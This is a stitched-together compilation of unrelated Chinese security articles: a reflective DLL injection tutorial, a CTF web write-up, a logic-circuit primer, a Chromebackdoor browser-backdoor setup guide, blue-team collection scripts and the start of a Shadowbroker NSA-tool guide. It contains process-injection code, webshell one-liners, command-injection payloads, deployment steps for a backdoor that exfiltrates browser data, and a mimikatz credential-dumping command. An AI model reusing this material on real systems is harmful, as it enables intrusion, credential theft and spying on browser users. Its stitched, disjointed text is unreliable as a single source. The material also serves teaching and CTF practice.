}else{
goArgs.p = "";
goArgs.n = 0;
}
test(goArgs);
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
然后运行`WBGlIl`师傅的项目里的`x64.bat`来进行编译得到dll文件，但是Golang有一个最大的缺点就是编译出来的文件特别大，这里一个简单的输入输出工具生成的dll就有差不多2M。而在Cobalt
Strike限制了反射DLL的DLL大小必须在1M以内，所以这里我们不能用Cobalt Strike进行测试。
### Inject.c修改
ReflectiveDLLInjection项目中的inject是不能给DLL进行传参的，所以我们这里需要修改代码来进行传参。
#### 注入当前进程
如果对当前进程进行注入可以修改代码，将输入参数传入到`LoadRemoteLibraryR`函数的第四个参数即可。
LPVOID lpParameter = argv[3];
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpParameter);
#### 注入到其他进程
如果注入到其他进程的话，需要将参数写入到目标进程得到一个参数指针，再讲这个指针传入`LoadRemoteLibraryR`函数。
lpRemoteMem = arg;
// 申请内存
argSize = strlen(arg);
lpRemoteMem = VirtualAllocEx(hProcess, NULL, argSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRemoteMem)
{
BREAK_WITH_ERROR("\t\t[!] FAILED to allocate memory in process.\n");
CloseHandle(hProcess);
break;
}
printf("[+] Memory allocated at : 0x%d in process %d\n", lpRemoteMem, dwProcessId);
printf("[+] Attempting to write parameter in process %d \n", dwProcessId);
//将参数写入目标进程
bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, arg, argSize, &numBytes);
if (!bWriteSuccess)
{
printf("[!] FAILED to write parameter. Wrote %d bytes instead of %d bytes.\n ", numBytes ,argSize);
CloseHandle(hProcess);
break;
}
printf("[+] Wrote parameter in remote process %d memory.\n", dwProcessId);
//将参数指针传入
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpRemoteMem);
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.\n", cpDllFile, dwProcessId);
因为这里是注入到了其他进程里，所以当前进程是没有输出的。如果需要输出的话，可以修改DLL文件和Inject.c，即当前进程和DLL注入的进程之间用命名管道进行通信。这里以C++写的DLL为例。
##### inject.c
//接收
srand(time(NULL));
char buf[256] = "";
DWORD rlen = 0;
HANDLE hPipe = CreateNamedPipe(
TEXT("\\\\.\\Pipe\\mypipe"), //管道名
PIPE_ACCESS_DUPLEX, //管道类型
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, //管道参数
PIPE_UNLIMITED_INSTANCES, //管道能创建的最大实例数量
0, //输出缓冲区长度 0表示默认
0, //输入缓冲区长度 0表示默认
NMPWAIT_WAIT_FOREVER, //超时时间
NULL); //指定一个SECURITY_ATTRIBUTES结构,或者传递零值.
if (INVALID_HANDLE_VALUE == hPipe)
{
printf("[+] Create Pipe Error(%d)\n", GetLastError());
}
else
{
printf("[+] Create Pipe Success\n");
printf("[+] Waiting For Client Connection...\n");
if (ConnectNamedPipe(hPipe, NULL) == NULL) //阻塞等待客户端连接。
{
printf("[+] Connection failed!\n");
}
else
{
printf("[+] Connection Success!\n");
}
printf("[+] Data From Pipe :\n\n");
while (1)
{
if (ReadFile(hPipe, buf, 256, &rlen, NULL)) //接受客户端发送过来的内容
{
printf("\t%s", buf);
}
else
{
printf("\n[+] Read Data From Pipe End!\n");
break;
}
}
CloseHandle(hPipe);//关闭管道
}
##### ReflectiveDll.cpp
//利用命名管道传输
srand(time(NULL));
DWORD wlen = 0;
BOOL bRet = WaitNamedPipe(TEXT("\\\\.\\Pipe\\mypipe"), NMPWAIT_WAIT_FOREVER);
if (!bRet)
{
printf("connect the namedPipe failed!\n");
break;
}
HANDLE hPipe = CreateFile( //管道属于一种特殊的文件
TEXT("\\\\.\\Pipe\\mypipe"), //创建的文件名
GENERIC_READ | GENERIC_WRITE, //文件模式
0, //是否共享
NULL, //指向一个SECURITY_ATTRIBUTES结构的指针
OPEN_EXISTING, //创建参数
FILE_ATTRIBUTE_NORMAL, //文件属性(隐藏,只读)NORMAL为默认属性
NULL); //模板创建文件的句柄
hAppInstance = hinstDLL;
char buf[256] = "";
sprintf(buf, "C++ ReflectiveDLL\n");
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容
/* print some output to the operator */
if (lpReserved != NULL) {
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
}
else {
sprintf(buf, "Hello from test.dll. There is no parameter\n");
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容
}
if (argv == NULL) {
sprintf(buf, "[+] Error Arguments ! \n");
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容
break;
}
sprintf(buf, "[+] Args Count : %d \n", argc);
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容
for (size_t i = 0; i < argc; i++)
{
sprintf(buf, "[%d] %s \n", i, argv[i]);
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容
}
CloseHandle(hPipe);//关闭管道
/* flush STDOUT */
fflush(stdout);
/* we're done, so let's exit */
ExitProcess(0);
这样就可以实现读取注入目标进程的输出了。
### 示例代码
<https://github.com/uknowsec/ReflectiveDLLInjection-Notes>
### 结语
在`WBGlIl`师傅的帮助下，学习了ReflectiveDLL。本意是想用于Cobalt
Strike插件的开发，但是Golang编译后的文件过大，导致Cobalt
Strike并不能进行加载反射。有请教过别的师傅如何解决这个问题，方案好像都必须得落地待反射的Golang
DLL，效果并不是太好。同时在最近新发布的Cobalt Strike4.1中有了一个新功能Beacon Object File
(BOF)，他可以解决文件过大的问题。
在官方文档[help-beacon-object-files](https://www.cobaltstrike.com/help-beacon-object-files)有如下的一段话：
> BOFs are also very small. A UAC bypass privilege escalation Reflective DLL
> implementation may weigh in at 100KB+. The same exploit, built as a BOF, is
> <3KB. This can make a big difference when using bandwidth constrained
> channels, such as DNS.
所以现在就差一个Cobalt Strike4.1啦~
### References
`[1]` bdllspawn: _<https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn>_
`[2]` ReflectiveDLLInjection:
_<https://github.com/stephenfewer/ReflectiveDLLInjection>_
`[3]` 倾旋: _<https://payloads.online/archivers/2020-03-02/1>_
`[4]` WBGlIl: _<https://wbglil.github.io/>_
`[5]` go-ReflectiveDLL: _<https://github.com/WBGlIl/go-ReflectiveDLL>_
`[6]` Weaponizing your favorite Go program for Cobalt Strike:
_<https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/>_
`[7]` help-beacon-object-files: _<https://www.cobaltstrike.com/help-beacon-object-files>_ | 社区文章 |
# 4.攻防世界1.新手练习区
## **1.view_source**
访问url：
<http://111.200.241.244:48855/>
鼠标点击右键不起作用，F12审查元素
得到flag为cyberpeace{0f3a3e4ab8c8664f3cf40d4240ec7b53}
## **2.robots**
访问url：
<http://111.200.241.244:34362/>
robots协议
robots.txt文件是一个文本文件，使用任何一个常见的文本编辑器，比如Windows系统自带的Notepad，就可以创建和编辑它。robots.txt是一个协议，而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
所以我们在url输入robots.txt
<http://111.200.241.244:34362/robots.txt>
跳转到页面，提示我们还有个f1ag_1s_h3re.php文件,我们继续访问文件
构造url：
<http://111.200.241.244:34362/f1ag_1s_h3re.php>
得到flag为cyberpeace{577d71f33e261f53ee278275e3de3de3}
## **3.backup**
访问url：
<http://111.200.241.244:49988/>
这道题提示我们是文件备份，文件泄露的问题
常见的备份文件名为：index.php~和index.php.bak
构造payload：
<http://111.200.241.244:49988/index.php.bak>
成功下载该文件，打开文件，即可得到flag为Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
本题也可使用目录遍历搜索
## **4.cookie**
访问url：
<http://111.200.241.244:53803/>
此关提示我们信息在cookie中，去查看文件的请求头和响应头信息
这里提示我们去查看cookie.php文件，我们去访问这个文件，让我们继续看文件响应头
构造url：
<http://111.200.241.244:53803/cookie.php>
打开文件查看响应头，得到flag为cyberpeace{6504b9e7b01f8a97949a68d32982ce70}
## **5.disabled_button**
访问url：
<http://111.200.241.244:34517/>
题目提示页面按钮不能打开，点击了发现确实打不开
右键审查元素，发现有disabled属性，disabled属性可设置或返回是否禁用单选按钮，所以删掉disabled属性
得到flag为cyberpeace{0b19b9abb6aea292154a6499abb172e6}
## **6.weak_auth**
访问url：
<http://111.200.241.244:35344/>
本题提示为弱密码爆破
输入任意账号密码，页面会提示通过admin账号登录
所以我们可以直接用burp爆破admin账号的密码，得到flag为cyberpeace{f5a9342401aee62a8ea8d22cb9362cc9}
## **7.simple_php**
访问url：
<http://111.200.241.244:47634/>
源代码如下：
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){ #函数用于检测变量是否为数字或数字字符串。
exit();
}
if($b>1234){
echo $flag2;
}
?>
审查一下源代码：
a是要等于0又要不等于0
b是要比1234大还要不能是数字
这里我们给a=a任何一个字母，字母不能代表任何数字所以默认是0，可是字母是算是有内容同时也会输出true
然后b参数>1234且不能为数字和字符串,我们给b=1235a这样他既不是数字，也不比1234小
构造payload：
[http://111.200.241.244:47634/?a=a&b=1235a](http://111.200.241.244:47634/?a=a&b=1235a)
得到flag为Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
## **8.get_post**
访问url：
<http://111.200.241.244:45184/>
这道题考查的是让我们发送get请求和post请求。
首先提示我们需要对他发送一个get请求，我们构造a=1进行发送get请求，然后返回结果
接下来用post的方式提交b=2,得到flag为cyberpeace{f63d796525d81be9a436ed31d1ef7c51}
## **9.xff_referer**
访问url：
<http://111.200.241.244:43718/>
题目告诉我们是xff_referer，猜测是与xff和referer相关，打开环境看看
我们分析一下协议
Referer请求头包含了当前请求页面的来源页面的地址，即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer
请求头识别访问来源，可能会以此进行统计分析、日志记录以及缓存优化等。
X-Forwarded-For (XFF)
在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器，可以被用来获取最初发起请求的客户端的IP地址，这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下，服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。如果想要获得最初发起请求的客户端的IP地址的话，那么
X-Forwarded-For 就派上了用场。
构造payload：
X-Forwarded-For：123.123.123.123
页面提示必须来自<https://www.google.com>
继续构造payload：
Referer：<https://www.google.com>
得到flag为
## **10.webshell**
访问url：
<http://111.200.241.244:48578/>
看到是一句话木马，连接密码是shell
常用的一句话木马有：
php的一句话木马： <?php @eval($_POST['pass']);?>
asp的一句话是： <%eval request ("pass")%>
aspx的一句话是： <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我们可以使用菜刀进行连接
得到flag为cyberpeace{3dffde669e47bfaaa521bbbba1f075b1}
## **11.command_execution**
访问url：
<http://111.200.241.244:35407/>
本题给了我们一个ping页面，我们尝试ping了本机地址127.0.0.1之后回显信息
页面回显ping -c 3 127.0.0.1 ，这里提示我们这是linux系统，ping三次。我们尝试使用linux命令执行，同时执行多条命令
127.0.0.1;ls
发现有回显
补充知识：
(1)find / -name httpd.conf #在根目录下查找文件httpd.conf，表示在整个硬盘查找
(2)find /etc -name httpd.conf #在/etc目录下文件httpd.conf
(3)find /etc -name ‘srm’ #使用通配符*(0或者任意多个)。表示在/etc目录下查找文件名中含有字符串‘srm’的文件
(4)find . -name ‘srm*’ #表示当前目录下查找文件名开头是字符串‘srm’的文件
| 常见连接符 | 举例 | 效果 |
| -------------- | -------- | --------------------------- |
| ; | A;B | 先执行A，再执行B |
| & | A&B | 简单拼接，A B之间无制约关系 |
| | | A|B | 显示B的执行结果 |
| && | A&&B | A执行成功，然后才会执行B |
| || | A||B | A执行失败，然后才会执行B |
尝试寻找带有flag的文件
127.0.0.1;find / -name flag.txt
发现flag.txt文件，我们去查看一下
构造payload：
127.0.0.1;cat /home/flag.txt
得到flag为cyberpeace{a120a656a36cbc00c6e2b288b06564b1}
## **12.simple_js**
访问url：
<http://111.200.241.244:58529/>
打开题目，题目名字告诉我们和js有关
怎么输入密码都不对，我们就开始审计代码
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
发现有个可疑的变量和dechiffre后面跟着的字符串。尝试解码一下pass
脚本如下：
string = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
s_list = string.split(",")
res = ""
for i in s_list:
i = chr(int(i))
res += i
print(res)
得到flag为Cyberpeace{786OsErtk12}
脚本如下
s=[55,56,54,79,115,69,114,116,107,49,50]
d=""
for i in s:
b=chr(i)
d=d+b
print(d)
print(d)
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 硬件安全系列 第一篇 逻辑电路基础知识介绍（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我带着新的系列又来了，之前的自动化代码审计工具还会在之后分享实际编写的过程思路以及代码。
新的系列是硬件安全，非常庞大的知识体系，我只是分享部分我所学习到的。会包括VLSI Testing ,Hareware Implementation of
hash functions ,RSA Implementation and Security,Security Based on Physical
Unclonability and Discoder,Hardware Metering,Digital Watermark,Physical
attacks and tamper resistance,side channel attacks ,trusted design in
FPGAs,security in embedded systems ,security for RFID Tags,Memory integrity
protection,hardware trojans.这个框架是由Introduction to Hardware Security and
Trust提供的。其中的知识内容会包括coursera中的大量课程以及大量书籍中内容。这一篇的内容包括Hardware Security by GangQu
and VLSI CAD Part I: Logic 以及书中内容
首先是逻辑电路部分的基础知识。
## Digital System
数字系统
一个系统可以看作一个黑盒，这个黑盒处理输入生成输出，输入和输出之间的关系定义为功能。
作为处理现实生活应用的一个数字系统，首先要处理的就是现实和数字之间的关系。现实生活中的信号是连续的，但是数字信号不能完美的复现，所以我们只能将连续的信号分割，用机械化的数字信号近似表示，如同微分。
### basic logic gates
基本逻辑门
and xy
or x+y
not ^x
常用的由上述三个基本逻辑门构成的复杂逻辑门
NAND ^(xy)
NOR ^(x+y)
XOR (^xy+x^y)
XNOR ^(^xy+x^y)
### design
将一个实际问题转换成电路图我们要明确实际问题的输入输出关系列表表示，得到最简逻辑表达式，选择触发器，明确特定输入，简化电路图。
第一步明确实际问题输入输出：将所有数据转换成二进制
第二步列表
第三步得到最简逻辑关系和对应的电路图
**combinational and sequential**
组合与时序逻辑
组合逻辑就是无论在什么时候什么环境相同输入对应相同输出
时序逻辑就是相同输入会对应不同输出，而相同输入不同输出的原因就是时序逻辑中包含了存储功能，可以存储状态。而这不同的状态就导致相同输入会出现不同输出。
**combinational例子**
设计一个数字电路，判断输入月份是否有31天。
首先月份有12个月，1，2，3 … 12。分别用二进制表示就是4位二进制数。从0001到1100。有31天我们用1表示，没有用0表示。
接着用表格表示这些数据之间的关系
我们寻找ABCD与F的逻辑关系
从现实角度：1 3 5 7 8 10
12我们可以看到7为分界线，7之前都是奇数，8之后都是偶数。8在二进制中是1000，奇数D为1，偶数D为0，7之前A为0，7之后A为1，我们可以猜测ABCDF逻辑关系F=A
XOR D
从真值表角度：前7行我们发现D和F一致，7之后D和F为反。7之前和之后的区别在于A从0到1。所以得到F = A XOR D
最后构造电路图
**the different between sequential and combinational in harfware basic memory
unit**
时序逻辑能够对相同输入产生不同输出的原因就是其中有基本的存储单元实现状态存储
Flip-flop
触发器
这个触发器可以看到是两个输出两个输出，逻辑门是两个或非门。接下来我们做出真值表
我们可以看到RS输入是00时，Q和Q‘不能得到答案，
在Q Q’原本是00状态下输入00输出无法稳定
原状态10输入00为01
原状态01输入00为10
也就是当我们输入00时，输出会变成原来输出的非运算结果。
这个逻辑关系中右半部分可以看到和我们之前分析的二输入二输出的逻辑电路图很像。我们先对右边进行分析，列出真值表。
同样的只有输入11是不确定的，在原状态为11时，输出为无法稳定，原状态10 输出为10 原状态01 输出为01
接下来我们来看看左边部分电路图对逻辑的影响：
当CP为0时，无论RS输入是什么，右边逻辑输入都会是00，其余状态下不影响。也就是我们存在一个接口可以让我们一键控制。
**Boolean Decompositions**
**Shannon Expansion**
对于一个函数F(x_1 ,x_2,….x_n)，为了得到对于特定x_i的展开式，F可以改写成 x_i _F(x_i=1) + ^x_i_
F(x_i=0)。当对更多x_i展开时，可以改写成x_i _y_i_ F(x_i=1,y_i=1) + x_i _^y_i_ F(x_i=1,y_i=0)
+ ^x_i _y_i_ F(x_i=0,y_i=1)+ ^x_i _^y_i_ F(x_i=0,y_i=0) = F(x,y,w,z)从而简化表达式
**Boolean Difference**
əf / əx = f(x_i) ⊕ f(^x_i) (异或 xor 不同就是1 相同就是0)
əf / əxəy = əf / əyəx
ə(f ⊕ g) / əx = əf / əx ⊕ əg / əx
设定x为1 判断 f(x) 和 f(^x)
for gate-level: not əf / əx = 1 and əf / əx = y (y为1,x变则变)
or əf / əx = ^y （y为0,x变则变） xor əf / əx = 1
首先，异或的逻辑，相同为0，不同为1。有没有想到什么数学知识。导数，当x改变时，y不变，则导数为0，否则不等于0。在硬件当中，执行异或操作的两个输入相同则为0，不同则为1。
所以我们引入əf / əx = f(x_i) ⊕ f(^x_i) 实现判断x_i是否影响F
从逻辑门的角度理解，我们得到not这个F一定受x影响（由于not单输入，输入改变输出一定改变），and这个F当y为1时受影响，0不受影响（and逻辑门有0出0全1出1），or这个F当y为0时受影响，1时不受影响（or逻辑门有1出1，全0出0），xor也受x_i影响（由于xor逻辑门同为0，异为1，当改变一个输入，两个输入之间的关系一定改变）
**Quantification Operators**
首先，介绍定义quantification（量化）。量化就是对一个逻辑输入赋值，可以是全部，也可以是任意一个。
universal quantification
全部量化
全部量化就是赋值逻辑输入为全部，也就是对任何x所属范围的真实值都满足量化后条件。
我们举个现实例子
2 _0 = 0 + 0 2_ 1 = 1 + 1 ……
我们可以归纳成2 * n = n + n对于任意实数满足条件
在数字电路中，我们可以用下面的形式表示全部量化
(∨x_i F)[x_1,x_2 … x_n]
(∨xy F)[x_1,x_2 … x_n] = (∨x(∨y F)) =Fxy Fx’y Fxy’ Fx’y’
对于所有 x y 都满足F 为1，也就是x y不影响F
existential quantification
存在量化
相对应的，存在量化就是我们归纳的结果在特定条件下能够满足原逻辑。
数字电路中的表示如下
(ヨx_i F)[x_1,x_2 … x_n]
(ヨxy F)[x_1,x_2 … x_n] = (ヨx(ヨy F)) =Fxy + Fx’y + Fxy’ + Fx’y’
存在x y 满足 F 不受 xy 影响
**Network Repair**
当一个逻辑门出现问题时，添加一个4输入的逻辑电路和原输入进行操作，使得最终结果符合原逻辑。选择4输入的原因是我们可以凭借这四个输入构造所有的逻辑关系。
F是正常操作下的结果，G是当前操作的结果
我们需要做到的是无论F的输入是什么，我们的G要和F一致
即满足z = ! (F xor G)
在这个新的关系中，有原输入a b ，新的输入d_0,d_1,d_2,d_3，以及输出z。我们要实现无论a
b是什么，要找到d_0,d_1,d_2,d_3满足最终结果恒为1
即(∨ab,z)[d_0,d_1,d_2,d_3] == 1
**Recursive Tautology**
递归重复
对于上面的修复方法，我们需要知道的是是否所有a b都满足结果为1。而验证方法就是递归重复。
如果说仅仅是盲目的递归重复，毫无疑问，这会是一个极其巨大的工程量。所以我们要用科学的递归重复实现目标。
首先，我们要表示逻辑，我们引入PCN
PCN Positional Cube Notation
PCN 是什么，一种符号表示。对于任何输入，用10/01/11表示，其中01表示x，10表示x’，11表示无影响。
比如：f(a,b,c) = a + bc + ab => {01 11 11},{11,01,01},{01,01,11}
接下来就是如何科学递归。
对于一个F总是结果为1，首先要满足对于其中任意一个输入都有F(x=0) = 1以及 F(x=1) = 1。也就是我们可以减少输入的存在从而减少递归的工程量。
那么，我们选取哪些输入以及减少到什么程度时判断呢。
首先是输入的选择
对于F(x=1)，我们将包含x’的部分忽略，忽略x的存在，保留其他。因为x=1时，x’=0，在一个单独的因子中，显然这个因子会返回0，而在所有因子的集合中，由于是0，所以不用考虑。而x=1在因子中也不占决定地位（and
全一出一有零出零）
对于F(x=0)，我们将包含x的部分忽略，忽略x’的存在，保留其他。因为x=0时，x=0，在一个单独的因子中，显然这个因子会返回0，而在所有因子的集合中，由于是0，所以不用考虑。而x‘=1在因子中也不占决定地位（and
全一出一有零出零）
然后是判断开始条件
当存在一个因子恒为1时，成立。当x和x’都单独作为因子恒为1。
除此之外存在一种状况我们可以明确得出f不恒为1：f中所有因子包含的元素不存在x 和
x’的关系，即改变x一定会对f造成一定影响。当所有元素取反时，f一定变化。我们将f中所有因子包含的元素不存在x 和 x’的关系定义为unate
由于unate形式的特殊性，当我们无法立马辨别当前f是否满足条件时，我们尽量将提取一个元素使得f变成unate形式。同时我们利用F = x _F(X=1)
+ ^x\_ F(x=0)使得结果具有一致性。
伪代码
tautology(f represented as cubelist){ //01 10 11
if (f is unate){
apply unate rules
if(==1) return 1
else return 0
}
else if(x and x'){
return 1
}
else {
x = most not unate variable in f
return(tautology(f_x)&&tautology(f_x'))
}
} | 社区文章 |
项目地址：https://github.com/graniet/chromebackdoor
Chromebackdoor 是一款渗透测试工具，该工具使用 MITB 技术生成Windows可执行文件
“.exe”，启动程序会运行恶意的插件扩展，或运行支持主流浏览器的脚本，并发送所有 DOM 数据以执行命令进行控制。
### 安装方法
##### 环境要求：
pip install crxmake
wine32
python chromebackdoor.py
##### 安装web
1) 首先解压生成的 chromebackdook
unzip folder.zip
2) 上传 web 文件夹至服务器
3) 创建数据库和用户，更新配置文件 对应路径
/web/includes/config.php
4) 数据库导入 .SQL 文件
/SQL/chromebackdoor.sql
5) 登录 Web 面板 (web/index.php)
username = root
password = toor
##### 生成被控端（不通过 .exe）
安装依赖 & python chromebackdoor.py
python chromebackdoor.py
可以给各大主流浏览器生成后门。
比如 Google Chrome：
python chromebackdoor.py --chrome
这时需要输入域名 (需要 SSL):
[?] Website hosted (https://localhost/)? https://lynxframework.com/
relais (需要SSL):
[?] Website relais url (https://localhost/relais)? https://lynxrelay.com/relais
or use same domain
[?] Website relais url (https://localhost/relais)? https://lynxframework.com/relais
[?] Information correct [Y/n]? Y
选择模块 (比如 FormGrabber V1.0)
[?] please select numbers ? 2
该脚本生成了 .crx .perm 和后门文件夹
##### 构建 .exe
1) 使用 --build 参数
python chromebackdoor.py --build
2) 选择后门 (比如 --chrome)
[?] crx fime (/root/..) ? /root/backdoor.crx
3) wine 启动 installer.exe 生成 bot.exe
Generate successful : {chromebackdoor_folder}/bot.exe
4) 用 Windows 启动 bot.exe
Web 控制端界面：
* * * | 社区文章 |
# 蓝队反制后的自动化信息收集
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 目录
**前言**
**溯源思路**
查用户
查连接信息
查日志
查密码
历史痕迹
敏感目录与文件
**脚本编写**
windows bat
linux sh
**web日志分析Tips**
**MySQL数据库**
### **前言**
在攻防演练对抗的过程中，蓝队往往会采取反制手段来获取红队的一些信息，那么在拿到一台机器后，需要收集一些关键信息，所以就想到这些操作完全可以通过脚本来完成。linux下可以使用gscan，或者使用自己写的shell脚本，windows下可以使用bat或powershell脚本。
目的很简单，使用脚本简化一些操作步骤，同时提示一些操作。
### **溯源思路**
在拿到一台主机后，我们往往会进行以下操作来获取关于攻击者的一些信息。
**查用户**
查看主机名或者用户名信息，通过该信息进一步查找。
**查连接信息**
通过查询正在建立连接的情况，筛选出上一跳IP。
**查日志**
通过查询历史的远程登录信息，来获取上一跳IP。
**查密码**
查询工具获取windwos下密码，或者linux下的公钥文件，这些地方也可能会暴露ID信息，RDP保存的密码也是一个重点，密码获取到还能进一步操作，如查看浏览器密码，尝试连接上一跳机器等
windwos高版本默认不再储存在缓存中，抓密码需要先修改注册表，然后其重新登录才能获取。
**历史痕迹**
历史执行命令中可能会存在远程下载的操作，浏览器中历史浏览记录等信息。
**敏感目录与文件**
下载目录，最近查看的文件，配置文件，其他密码如navicat、xshell等。
**脚本编写**
根据我们想要信息，我们可以编写实用脚本，这里放一下平时使用的自动化脚本。
**windows bat**
@ECHO OFF
TITLE windows-info v0.1
echo -------------------------机器名------------------------- hostname
echo -------------------------用户信息------------------------- net user
echo -------------------------在线用户------------------------- query user
echo -------------------------正在连接的IP------------------------- netstat -ano |findstr ESTABLISHED | findstr /v 127.0.0.1
echo -------------------------正在监听的端口------------------------- netstat -ano |findstr LISTENING | findstr /v 127.0.0.1
echo -------------------------尝试备份安全日志到当前目录------------------------- wevtutil epl Security %USERPROFILE%\desktop\Sec.evtx
echo -------------------------尝试获取远程登录日志------------------------- wevtutil qe Security "/q:*[System [(EventID=4648)]]" /f:text /rd:true /c:10
echo -------------------------其他·提示------------------------- echo 查询隐藏用户：HKEY_LOCAL_MACHINE --SAM–SAM(需要右击权限修改管理员权限)-Domains-Account-users
echo 查询密码信息：mimikatz privilege::debug sekurlsa::logonpasswords
echo 查询web浏览记录、浏览器密码
PAUSE
**linux sh**
#! /bin/bash
# linux-info v0.1
echo "-------------------------机器名-------------------------"
hostname
echo "-------------------------查看用户信息-------------------------"
cat /etc/passwd |grep -v nologin |grep -v /bin/false
echo "-------------------------查看登录信息-------------------------"
w
echo "-------------------------查看正在连接的IP-------------------------"
netstat -antlp |grep ESTABLISHED
echo "-------------------------查看对外监听的端口-------------------------"
netstat -antlp |grep LISTEN | grep -v 127.0.0.1
echo "-------------------------查看历史登录信息-------------------------"
last -F -n 10
echo "-------------------------查看安全日志中登录成功信息-------------------------"
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
echo "-------------------------查看历史命令，查找外联-------------------------"
history | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
echo "-------------------------查看计划任务-------------------------"
crontab -l
echo "-------------------------查找隐藏文件-------------------------"
find / ! -path "/proc/*" ! -path "/usr/*" ! -path "/var/*" ! -path "/sys/*" -name ".*" -print
echo "-------------------------其他·提示-------------------------"
echo "查看用户进程：lsof -u hack"
echo "查看端口占用：lsof -i:8888"
echo "查看公钥信息：~/.ssh/id_dsa.pub"
echo "查看进程：ps -aux"
**web日志分析Tips**
通过web日志的分析，我们可能查到攻击者的攻击路径及意图，这对我们进一步抓取攻击团队可以提供有效帮助。
首先我们需要确定大致入侵事件段，以此为线索，查找这个时间范围内可疑的日志。通过后门文件也可以定位其途径。
下面分享下抄来的一些命令 ：
1、列出当天访问次数最多的IP命令：
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问：
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数：
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面：
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序：
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面：
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面：
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
**MySQL数据库**
在一些服务器上会开放MySQL数据库服务，攻击者会通过数据库获取服务器权限，在操作数据库时也会留下一些痕迹。
1、 查看当前正在登录的用户
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
2、 查看重要的数据库以及表
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;
3、通过数据库历史连接记录
SELECT host,total_connections FROM sys.host_summary; | 社区文章 |
## 工具下载
> 1、Python2.6和pywin32安装包(注意都是32位的，不然会导致调用dll payload文件失败)：
>
> [复现python和pywin32安装包](https://admin.gxhc520.cn/wp-> content/uploads/2017/04/%E5%A4%8D%E7%8E%B0python%E5%92%8Cpywin32%E5%AE%89%E8%A3%85%E5%8C%85.7z)
>
> 2、Shadowbroker放出的NSA攻击工具
>
> <https://github.com/misterch0c/shadowbroker>
>
> 3、中招检查工具
>
